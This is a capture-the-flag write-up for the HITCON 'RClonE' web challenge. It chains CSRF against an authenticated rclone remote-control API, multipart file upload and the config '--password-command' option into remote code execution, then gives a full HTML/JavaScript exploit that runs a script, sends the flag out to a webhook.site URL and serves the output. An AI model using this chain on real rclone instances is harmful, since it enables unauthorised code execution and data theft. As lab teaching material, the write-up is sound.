For Hitcon this year we played with the World Wide Union merger. The web challenges were all really interesting and I learned a lot.
web/RClonE
I collaborated with gg0h on this challenge and we managed to solve it together.
Initial Analaysis
Opening up the initial source files we are greeted with the following docker-compose.yml
file:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
services:
rclone:
image: rclone
build: .
environment:
- SECRET=secret # randomized secret per instancer
networks:
- chall
bot:
image: rclone-bot
build: ./bot
environment:
- TITLE=Admin Bot for RClonE
- PORT=8000
- URL_CHECK_REGEX=^https?://.{1,256}$
- SECRET=secret # randomized secret per instancer
security_opt:
- seccomp=chrome.json
ports:
- "${PORT}:8000"
networks:
- default
- chall
networks:
chall:
internal: true
We notice two containers; a bot which is being built from local sources and a version of “rclone”. However, the Dockerfile indicates that a readflag
binary is present in the root directory and must be executed to retrieve the flag. This is added to the rclone
container and so we must achieve remote code execution in the context of this container.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
FROM debian:bookworm-slim
RUN apt-get update && \
apt-get install -y tini ca-certificates curl unzip && \
apt-get clean && \
rm -rf /var/lib/apt/lists/*
WORKDIR /workdir
ARG RCLONE_VERSION=v1.67.0
ARG RCLONE_NAME=rclone-$RCLONE_VERSION-linux-amd64
ARG RCLONE_HASH=07c23d21a94d70113d949253478e13261c54d14d72023bb14d96a8da5f3e7722
RUN curl https://downloads.rclone.org/$RCLONE_VERSION/$RCLONE_NAME.zip -o rclone.zip && \
echo $RCLONE_HASH rclone.zip | sha256sum -c && \
unzip rclone.zip && \
mv $RCLONE_NAME/rclone /usr/bin
COPY ./readflag /readflag
RUN chmod 777 /readflag
RUN useradd -ms /bin/bash ctf
USER ctf
ENTRYPOINT ["tini", "--"]
CMD rclone rcd --rc-addr 0.0.0.0:5572 --rc-web-gui --rc-user $SECRET --rc-pass $SECRET --rc-web-gui-no-open-browser
When looking at the docker-compose.yml
file we notice that the rclone
container is restricted to an internal network which the bot may access. As such, it becomes clear that we must send a payload to the bot which will cause the bot to execute our RCE payload and extract the flag from the binary.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
const puppeteer = require('puppeteer')
const SECRET = process.env.SECRET || 'secret'
const sleep = async ms => new Promise(resolve => setTimeout(resolve, ms))
const auth = `${SECRET}:${SECRET}`
const SITE = process.env.SITE || 'http://rclone:5572'
const tmpurl = new URL(`/?login_token=${encodeURIComponent(btoa(auth))}`, SITE)
tmpurl.username = SECRET
tmpurl.password = SECRET
const LOGIN_URL = tmpurl.href
console.log('[+] LOGIN_URL:', LOGIN_URL)
let browser = null
const visit = async url => {
let context = null
try {
if (!browser) {
const args = ['--js-flags=--jitless,--no-expose-wasm', '--disable-gpu', '--disable-dev-shm-usage']
if (new URL(SITE).protocol === 'http:') {
args.push(`--unsafely-treat-insecure-origin-as-secure=${SITE}`)
}
browser = await puppeteer.launch({
headless: 'new',
args
})
}
context = await browser.createBrowserContext()
const page1 = await context.newPage()
await page1.goto(LOGIN_URL)
await page1.close()
const page2 = await context.newPage()
await Promise.race([
page2.goto(url, {
waitUntil: 'networkidle0'
}),
sleep(5000)
])
await page2.close()
await context.close()
context = null
} catch (e) {
console.log(e)
} finally {
if (context) await context.close()
}
}
module.exports = visit
if (require.main === module) {
visit('http://example.com')
}
Above you can browse the source code of the bot.js
file. Here we can see that the bot will authenticate with the rclone
container and log into its dashboard before visiting our URL. This means that we can leverage any post-auth remote code execution vulnerabilities to solve this challenge.
Escaping The XSS Rabbit Hole
The initial assumption we made was that this service could be exploited using XSS. Given that we have no access to the internal dashboard ourselves, the only plausible chain I could imagine would involve a reflected XSS vulnerability in the dashboard. Rclone is a pretty popular project (50k+ stars on GitHub) and I wouldn’t expect to easily find such a vulnerability but this is supposed to be a tough CTF so we began searching.
Nothing obvious was found. At this point, we noticed that when authenticated with a login token (as the bot does) there is no CSRF tokens attached to the session.
And so the idea pivoted to abusing some sort of CSRF on the API. A list of all endpoints can be found here: https://rclone.org/rc/
But since all the POST endpoints on the API seemed to use JSON we are limited, right? Wrong!
So now the idea is to send the bot to our website and submit a number of POST forms to interactive with various APIs. I wrote a basic demo with 2 POST forms pointing to my webhook with target="_BLANK"
attribute set and sent these to the bot. It successfully posted both values.
Finding RCE
We initially noticed that core/command
endpoint allowed us to pass various commands to rclone as documented here: https://rclone.org/commands/
At this point gg0h noticed that “encrypted config files” allow you to set a password command for decryption. This is documented here: https://rclone.org/docs/#configuration-encryption
Essentially, we can run a rclone command to decrypt a config file and pass in a --password-comment
parameter with our bash own custom bash command. The command which we found worked was: rclone config show __config=/path/to/encrypted/conf --password-commmand="FREE RCE"
This however, required that an encrypted file exists on the disk. During our initial testing we found that the /operations/copyfile
endpoint provided for copying remote files to the server in writable directories but this would not work due to the nature of the rclone container’s network configuration (bound internally).
Arbitrary File Uploads
The next obvious approach was to use the /operations/uploadfile
endpoint. This allows a file to be uploaded directly via a multipart form request. We could attach a file to a form and submit it on behalf of a user leveraging the CSRF. This endpoint supports the uploading of multiple files and so we decided to upload a file rc.conf
containing the encrypted configuration file and a test.sh
containing our exploit.
rc.conf
1
2
3
4
# Encrypted rclone configuration File
RCLONE_ENCRYPT_V0:
cM8HO1ZPJlXcA0m5T/SdhLl7zoKlOhcKfc8vYJywENWphwmo2M2u0ZKYOPRxBSLC6Ax5qVc1Gy2SEfNrfbDv
The most obvious approach to executing our payload would be to curl our webhook with the flag but this is again restricted due to the rclone
container being bound by an internal network.
Escaping The Network
At this point we had the idea to store the output of /readflag
into a writable directory and then serve this over HTTP. We would then need to set an Access-Control-Allow-Origin: *
header to facilitate the bot fetching the output of the page.
It turns out that the rcd command of rclone facilitates hosting a directory. The following command would serve /tmp
directory on port 1234:
rclone rcd --rc-serve --rc-addr 0.0.0.0:1234 --rc-files /tmp
So if we ran /readflag > /tmp/output
we would expect this to be accessible to the bot on http://rclone:1234/output
where it would be able to read it.
To bypass the origin I tried using the --rc-allow-origin
argument and setting it to our host but there were still origin issues with accessing the local address space and I’m unsure if this approach works. My final approach was to instead output our flag to a HTML file and then append some javascript to this HTML file which would simple copy the text on the page and send it to our webhook.
Final Exploit Payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<form action="http://rclone:5572/operations/uploadfile?fs=/&remote=home/ctf/" method="POST" target="_BLANK" enctype="multipart/form-data">
<input type="file" id="fileInput" name="file0" />
<input type="file" id="fileInput2" name="file1" />
<input id="btn" type="submit" />
</form>
<form action='http://rclone:5572/core/command?command=config&arg=["show","--config","/home/ctf/rc.conf","--password-command","bash%20/home/ctf/test.sh"]' method="POST" target="_BLANK">
<input id="btn2" type="submit" />
</form>
<script>
// Prepare test.sh
var fileContent = new Blob([
`#!/bin/bash\n/readflag>/tmp/lol.html\necho "<script>window.location.href='https://webhook.site/<ID>/'+btoa(document.body.innerText);<\/script>" >> /tmp/lol.html\nrclone rcd --rc-serve --rc-addr 0.0.0.0:1234 --rc-files /tmp`
], { type: "text/plain" });
var file = new File([fileContent], "test.sh", { type: "text/plain" });
var fileInput = document.getElementById("fileInput");
var dataTransfer = new DataTransfer();
dataTransfer.items.add(file);
fileInput.files = dataTransfer.files;
// Prepare rc.conf
var fileContent = new Blob([
`# Encrypted rclone configuration File\n\nRCLONE_ENCRYPT_V0:\ncM8HO1ZPJlXcA0m5T/SdhLl7zoKlOhcKfc8vYJywENWphwmo2M2u0ZKYOPRxBSLC6Ax5qVc1Gy2SEfNrfbDv`
], { type: "text/plain" });
var file = new File([fileContent], "rc.conf", { type: "text/plain" });
var fileInput = document.getElementById("fileInput2");
var dataTransfer = new DataTransfer();
dataTransfer.items.add(file);
fileInput.files = dataTransfer.files;
document.getElementById('btn').click();
setTimeout(function() {
document.getElementById('btn2').click();
}, 300);
setTimeout(function() {
window.location.href = 'http://rclone:1234/lol.html';
}, 500)
</script>
hitcon{easy_peasy_rce_using_csrf_attacking_local_server}